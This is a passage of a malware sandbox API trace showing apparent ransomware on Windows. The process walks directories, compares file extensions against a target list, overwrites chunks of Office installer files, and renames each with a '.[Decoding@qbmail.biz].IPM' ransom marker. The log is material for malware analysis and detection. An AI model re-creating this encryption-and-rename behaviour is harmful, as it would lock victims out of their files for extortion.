lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x33efcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0091.658] SetEndOfFile (hFile=0x1dc) returned 1 [0091.659] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f84010 [0091.664] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0091.664] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f84010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f84010*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.827] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0092.827] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f84010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f84010*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.838] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0092.838] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f84010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f84010*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f84010 | out: hHeap=0x5d0000) returned 1 [0092.948] CloseHandle (hObject=0x1dc) returned 1 [0093.770] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0093.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.771] lstrlenW (lpString=".doc") returned 4 [0093.771] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString=".docx") returned 5 [0093.771] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0093.771] lstrlenW (lpString=".pdf") returned 4 [0093.771] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString=".xls") returned 4 [0093.771] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString=".xlsx") returned 5 [0093.771] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0093.771] lstrlenW (lpString=".ppt") returned 4 [0093.771] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.771] lstrlenW (lpString=".zip") returned 4 [0093.771] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString=".rar") returned 4 [0093.771] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString=".bz2") returned 4 [0093.771] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0093.771] lstrlenW (lpString=".7z") returned 3 [0093.771] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0093.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.771] lstrlenW (lpString=".dbf") returned 4 [0093.771] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0093.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.772] lstrlenW (lpString=".1cd") returned 4 [0093.772] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0093.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.772] lstrlenW (lpString=".jpg") returned 4 [0093.772] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.772] lstrlenW (lpString=".doc") returned 4 [0093.772] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString=".docx") returned 5 [0093.772] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0093.772] lstrlenW (lpString=".pdf") returned 4 [0093.772] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString=".xls") returned 4 [0093.772] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString=".xlsx") returned 5 [0093.772] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0093.772] lstrlenW (lpString=".ppt") returned 4 [0093.772] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.772] lstrlenW (lpString=".zip") returned 4 [0093.772] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString=".rar") returned 4 [0093.772] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0093.772] lstrlenW (lpString=".bz2") returned 4 [0093.772] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0093.773] lstrlenW (lpString=".7z") returned 3 [0093.773] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0093.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.773] lstrlenW (lpString=".dbf") returned 4 [0093.773] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0093.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.773] lstrlenW (lpString=".1cd") returned 4 [0093.773] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0093.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0093.773] lstrlenW (lpString=".jpg") returned 4 [0093.773] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0093.773] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0093.773] lstrlenW (lpString="VisioMUI.msi") returned 12 [0093.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0093.774] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=2797568) returned 1 [0093.774] CloseHandle (hObject=0x1dc) returned 1 [0093.774] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0093.774] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.774] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0093.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0093.775] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0x0) returned 1 [0093.775] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0093.775] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.012] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0094.013] ReadFile (in: hFile=0x1dc, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.133] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0094.133] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0094.133] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.203] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.203] WriteFile (in: hFile=0x1dc, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x33efcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0094.531] SetEndOfFile (hFile=0x1dc) returned 1 [0094.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f43ff8 [0094.532] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0094.532] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f43ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43ff8*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.535] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0094.535] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f43ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43ff8*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.980] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0094.980] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f43ff8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43ff8*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0094.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f43ff8 | out: hHeap=0x5d0000) returned 1 [0095.056] CloseHandle (hObject=0x1dc) returned 1 [0095.056] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0095.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.056] lstrlenW (lpString=".doc") returned 4 [0095.056] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.056] lstrlenW (lpString=".docx") returned 5 [0095.056] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.056] lstrlenW (lpString=".pdf") returned 4 [0095.056] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.056] lstrlenW (lpString=".xls") returned 4 [0095.057] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.057] lstrlenW (lpString=".xlsx") returned 5 [0095.057] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.057] lstrlenW (lpString=".ppt") returned 4 [0095.057] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.057] lstrlenW (lpString=".zip") returned 4 [0095.057] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.057] lstrlenW (lpString=".rar") returned 4 [0095.057] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.057] lstrlenW (lpString=".bz2") returned 4 [0095.057] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.057] lstrlenW (lpString=".7z") returned 3 [0095.057] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.057] lstrlenW (lpString=".dbf") returned 4 [0095.057] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.057] lstrlenW (lpString=".1cd") returned 4 [0095.057] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.057] lstrlenW (lpString=".jpg") returned 4 [0095.057] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.057] lstrlenW (lpString=".doc") returned 4 [0095.058] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.058] lstrlenW (lpString=".docx") returned 5 [0095.058] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.058] lstrlenW (lpString=".pdf") returned 4 [0095.058] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.058] lstrlenW (lpString=".xls") returned 4 [0095.058] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.058] lstrlenW (lpString=".xlsx") returned 5 [0095.058] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.058] lstrlenW (lpString=".ppt") returned 4 [0095.058] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.058] lstrlenW (lpString=".zip") returned 4 [0095.058] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.058] lstrlenW (lpString=".rar") returned 4 [0095.058] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.058] lstrlenW (lpString=".bz2") returned 4 [0095.058] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.058] lstrlenW (lpString=".7z") returned 3 [0095.058] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.058] lstrlenW (lpString=".dbf") returned 4 [0095.058] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.058] lstrlenW (lpString=".1cd") returned 4 [0095.058] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.058] lstrlenW (lpString=".jpg") returned 4 [0095.058] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.058] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0095.058] lstrlenW (lpString="GrooveLR.cab") returned 12 [0095.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0095.059] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=4095519) returned 1 [0095.059] CloseHandle (hObject=0x1dc) returned 1 [0095.059] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0095.059] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.059] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0095.060] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0095.060] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0x0) returned 1 [0095.060] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0095.060] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.166] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0095.166] ReadFile (in: hFile=0x1dc, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.284] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.284] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0095.284] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.585] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0095.586] WriteFile (hFile=0x1dc, lpBuffer=0x3da0020, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x33efcb0, lpOverlapped=0x0) Thread: id = 19 os_tid = 0x6c0 [0069.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x39300b0 [0069.273] lstrlenW (lpString="C:") returned 2 [0069.273] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x622588 [0069.273] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0069.274] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0069.274] lstrlenW (lpString="$Recycle.Bin") returned 12 [0069.274] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x39400b8 [0069.274] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0069.274] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x62b398 [0069.275] FindNextFileW (in: hFindFile=0x62b398, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.275] FindNextFileW (in: hFindFile=0x62b398, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c90ae30, ftLastAccessTime.dwHighDateTime=0x1d5fa0e, ftLastWriteTime.dwLowDateTime=0x4c90ae30, ftLastWriteTime.dwHighDateTime=0x1d5fa0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0069.275] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0069.275] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0069.275] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0069.275] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0069.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3eb0048 [0069.276] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0069.276] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c90ae30, ftLastAccessTime.dwHighDateTime=0x1d5fa0e, ftLastWriteTime.dwLowDateTime=0x4c97d250, ftLastWriteTime.dwHighDateTime=0x1d5fa0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x62b3d8 [0069.277] FindNextFileW (in: hFindFile=0x62b3d8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c90ae30, ftLastAccessTime.dwHighDateTime=0x1d5fa0e, ftLastWriteTime.dwLowDateTime=0x4c97d250, ftLastWriteTime.dwHighDateTime=0x1d5fa0e, 